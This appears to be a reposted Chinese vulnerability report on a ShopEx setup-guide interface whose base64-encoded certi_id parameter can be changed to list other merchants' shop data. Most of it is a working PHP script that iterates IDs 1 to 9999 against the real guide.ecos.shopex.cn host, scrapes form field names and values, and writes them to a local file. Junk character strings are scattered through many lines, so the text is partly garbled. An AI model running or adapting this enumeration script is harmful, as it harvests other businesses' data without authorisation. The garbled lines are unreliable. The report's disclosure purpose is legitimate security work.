ShopEx某接口缺陷可遍历所有用户网站

admin

简要描述：
ShopEx某接口缺陷,可遍历所有网站
详细说明：
2 a/ ^# t( p" K( T- ^问题出现在shopex 网店使用向导页面



7 I6 Z- S; v5 t& S4 H9 h. Mhttp://guide.ecos.shopex.cn/step ... WlkaWFuLmNvbVwvIn0=



refer base64解密为 {"certi_id":'1051',"callback_url":"http:\/\/www.joyogame.net\/"}
( l: u6 |0 p5 C* f# K2 Z0 S


我们修改certi_id 即可遍历所有使用了ShopEx程序的网站
+ ^/ e- f3 B9 C' `6 N

2 v" b1 G: y$ p% j2 w9 s3 I" a
$ h: a3 I$ m. a( K$ F7 ]7 K<?php
  n0 c& r# [5 M% m" q+ w+ _
                for ($i=1; $i < 10000; $i++) { //遍历

+ ~- {# ]3 D( N# C( Z- R                        ShowshopExD($i);
5 K0 l9 F- [6 R/ W4 N0 Z
- q7 K+ _1 L! P8 }                }

3 K* q& H  i( }' O) a                function ShowshopExD($cid) {

                $url='http://guide.ecos.shopex.cn/step2.php';

# A7 ^5 T' c% P' w4 \  n% @4 K                $refer = base64_encode('{"certi_id":'.intval($cid).',"callback_url":"http:\/\/www.a.com\/"}');

! M9 v' d" L$ u7 R4 p: j; w        $url = $url.'?refer='.$refer;

2 J  |5 L5 j0 l  q) \2 |8 ~2 P        $ch = curl_init($url);
2 b7 v4 N* I5 R3 v8 `3 H( R% B: g
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true) ;

        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true) ;
, q, ^. v( z1 r/ d" f
2 l6 i3 {# _8 `        $result = curl_exec($ch);
; X1 L# H9 U( ^
1 C/ c0 C8 W/ l        $result = mb_convert_encoding($result, "gb2312", "UTF-8");
1 P: _  b+ u8 v" t/ P& _
* E3 N* }, k! H+ g4 W: Y/ ?. G2 W        if(strpos($result,$refer))
. u7 r$ I7 N" Q( Q1 j" k0 I
        {

3 D/ s2 ~0 g. U0 m0 j$ b                $fp = fopen("c:/shopEx.txt",'ab'); //保存文件
% M+ B7 {- x* j' V8 n
! a+ j& E4 i# L                        preg_match_all('/<input\stype="text"(.*?)\/>/',$result,$value);

                foreach ($value[1] as $key) {

                        preg_match_all('/name="(.*?)"(.*?)value="(.*?)"/',trim($key),$res);
1 b) G: q& T* L/ q
                        echo $res[1][0].':'.$res[3][0]."\r\n";

7 M0 C# m' I' O                        $col =$res[1][0].':'.$res[3][0]."\r\n";
( `+ e9 z2 N  G5 s+ Q5 ~
                        fwrite($fp, $col, strlen($col));
, _4 N# s- F3 c7 ~! ~* t$ b% ~$ d+ r
                }
# k: ]1 i% T. g! M, U$ j- c
$ ]0 U  a  J  e7 c+ F# S                echo '--------------------------------'."\r\n";
; `1 n& o. m8 c
                fclose($fp);
7 }; f+ F$ S  ~
        }
! }* q( C, P( y' p, E
        flush();

        curl_close($ch);
0 l3 O5 I5 [% f6 ]
                }
$ h% C; X. }0 c$ s. C
?>
漏洞证明：
0 p7 I/ c$ S+ \; Vhttp://www.myhack58.com/Article/UploadPic/2013-9/201392110502740490.jpg
' }+ b, W8 T9 C* f) qrefer换成其他加密方式